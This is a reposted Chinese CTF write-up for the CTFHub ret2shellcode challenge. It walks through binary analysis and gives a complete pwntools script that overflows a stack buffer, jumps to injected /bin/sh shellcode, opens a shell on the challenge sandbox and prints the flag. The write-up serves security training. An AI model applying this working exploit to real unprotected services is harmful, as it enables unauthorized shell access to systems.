欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 教育 > 锐评 > CTFHubret2shellcode-入土为安的第十三天

CTFHubret2shellcode-入土为安的第十三天

2025/2/22 2:06:58 来源:https://blog.csdn.net/lzx13290757580/article/details/140875767  浏览:    关键词:CTFHubret2shellcode-入土为安的第十三天

checksec pwn

没有开保护 并且是64位的

放入IDa64

shift+f12 查看字符串

发现没有shell

f5查看主函数

read函数,点进去buf

0x010,0x08.

 buf的地址 因为我们要把buf填充满 然后再让栈进入shellcode的地址 然后再执行shellcode

  • recvuntil 函数会一直读取数据,直到遇到指定的终止字符(']'),这有助于确保你从远程服务接收到了完整的、包含有用信息的数据。  eg:Buffer address: 0x7fffffffe000]
  • shellcode:

    • 这是实际的 shellcode 字节码,之前通过 asm(shellcraft.sh()) 生成的。
    • 它的作用是执行一个 shell(/bin/sh)。这个 shellcode 将在缓冲区溢出后被执行。
    • p64 是 pwntools 提供的一个函数,它将 shellcode_addr 转换为 64 位的小端格式(8 字节)。

from pwn import *
import re
context.arch='amd64'
shellcode=asm(shellcraft.sh())
p=remote('challenge-d40d1cb161bcae57.sandbox.ctfhub.com',24552)
buf_addr=p.recvuntil(']')  #截取到]为止的字符串
buf_addr=int(buf_addr[-15:-1],16)  #处理一下 然后为16进制
shellcode_addr=buf_addr+32   #0x10+0x08+0x08 十进制为32
payload=b'a'*(0x10+0x08)+p64(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

ctfhub{52391a33853a4935e36d7ae5}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词